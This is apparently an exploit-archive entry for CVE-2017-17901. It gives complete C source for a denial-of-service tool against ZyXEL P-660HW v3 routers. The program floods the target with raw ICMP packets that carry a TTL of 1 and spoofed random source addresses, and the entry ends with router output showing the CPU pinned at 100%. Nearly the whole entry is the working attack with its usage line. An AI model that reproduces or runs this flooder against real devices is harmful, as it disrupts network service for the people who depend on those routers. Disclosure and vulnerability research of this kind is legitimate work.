################
#Exploit Title: ZyXEL TTL Expiry Denial of Service
CVE: CVE-2017-17901
#CWE: CWE-400
#Exploit Author: Hosein Askari
#Vendor HomePage: https://www.zyxel.com/
#Version : v3
#Tested on: ZyXEL P-660HW
#Category: Network Appliance
#Author Mail : hosein.askari@aol.com
#description: According to RFC 791, the router should destroy any datagram with value of less than or equal to one. ZyXEL P-660HW v3 devices allow remote attackers to cause a denial of service (CPU consumption) via
a flood of IP packets with a TTL of 1.
#####################
#include <sys/socket.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/time.h>
#include <pwd.h>
#include <time.h>
#include <sys/utsname.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/igmp.h>
void banner(void) {
printf("TTL Expiry ZyXEL\n");
printf("Author: Hosein Askari");
}
void usage(const char *progname) {
printf("use : ./ZeXEL RouterIP count\n");
}
int attack( const char *name, unsigned int port, struct sockaddr_in *addr ) {
struct hostent *host;
memset(addr,0,sizeof(struct sockaddr_in));
addr->sin_family = AF_INET;
addr->sin_addr.s_addr = inet_addr(name);
if (addr->sin_addr.s_addr == -1) {
if (( host = gethostbyname(name) ) == NULL ) {
fprintf(stderr,"unknown host\n",name);
return(-1);
}
addr->sin_family = host->h_addrtype;
memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
}
addr->sin_port = htons(port);
return(0);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *j = addr;
register int sum = 0;
u_short answer = 0;
while (nleft > 1) {
sum += *j++;
nleft -= 2;
}
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)j ;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
int func(int socket, unsigned long spoof_addr, struct sockaddr_in *dest_addr) {
unsigned char *packet;
struct iphdr *ip;
struct icmphdr *icmp;
int rc;
packet = (unsigned char *)malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *)(packet + sizeof(struct iphdr));
memset(ip,0,sizeof(struct iphdr) + sizeof(struct icmphdr) + 8);
ip->ihl = 5;
ip->version = 4;
ip->tos = 4;
ip->id = htons(1234);
ip->frag_off = htons(0x2000);
ip->tot_len = 0;
ip->ttl = 1;
ip->protocol = IPPROTO_ICMP;
ip->saddr = rand() % 446674540;
ip->daddr = dest_addr->sin_addr.s_addr;
ip->check = in_cksum(ip, sizeof(struct iphdr));
icmp->type = rand() % 18;
icmp->code = rand() % 15;
icmp->checksum = in_cksum(icmp,sizeof(struct icmphdr) + 1);
if (sendto(socket, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + 1,0, (struct sockaddr *)dest_addr, sizeof(struct sockaddr)) == -1) { return(-1); }
free(packet);
return(0);
}
int main(int argc, char **argv) {
struct sockaddr_in dest_addr;
unsigned int i,sock;
unsigned long src_addr;
banner();
if ((argc != 3)) {
usage(argv[0]);
return(-1);
}
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
fprintf(stderr,"run with root privilege\n");
return(-1);
}
src_addr = dest_addr.sin_addr.s_addr;
if (attack(argv[1],0,&dest_addr) == -1) { return(-1); }
for (i = 0;i < atoi(argv[2]);i++) {
if (func(sock,rand() % 4000000,&dest_addr) == -1) {
fprintf(stderr,"Error\n");
return(-1);
}
}
}
####################
ras> sys cpu display
CPU usage status:
baseline 2106307 ticks
sec ticks util sec ticks util sec ticks util sec ticks util
0 1712258 18.70 1 1730816 17.82 2 1738596 17.45 3 1715513 18.55
4 1529073 27.40 5 0 100.00 6 0 100.00 7 0 100.00
8 0 100.00 9 0 100.00 10 177665 91.56 11 1418797 32.64
12 0 100.00 13 0 100.00 14 0 100.00 15 0 100.00
16 0 100.00 17 0 100.00 18 0 100.00 19 0 100.00
20 0 100.00 21 0 100.00 22 0 100.00 23 0 100.00
24 0 100.00 25 0 100.00 26 0 100.00 27 0 100.00
28 0 100.00 29 0 100.00 30 0 100.00 31 0 100.00
32 0 100.00 33 0 100.00 34 0 100.00 35 0 100.00
36 0 100.00 37 0 100.00 38 0 100.00 39 0 100.00
40 0 100.00 41 0 100.00 42 0 100.00 43 0 100.00
44 0 100.00 45 0 100.00 46 0 100.00 47 0 100.00
48 0 100.00 49 0 100.00 50 0 100.00 51 0 100.00
52 0 100.00 53 0 100.00 54 0 100.00 55 0 100.00
56 0 100.00 57 0 100.00 58 0 100.00 59 0 100.00
60 758577 63.98 61 700450 66.74 62 0 100.00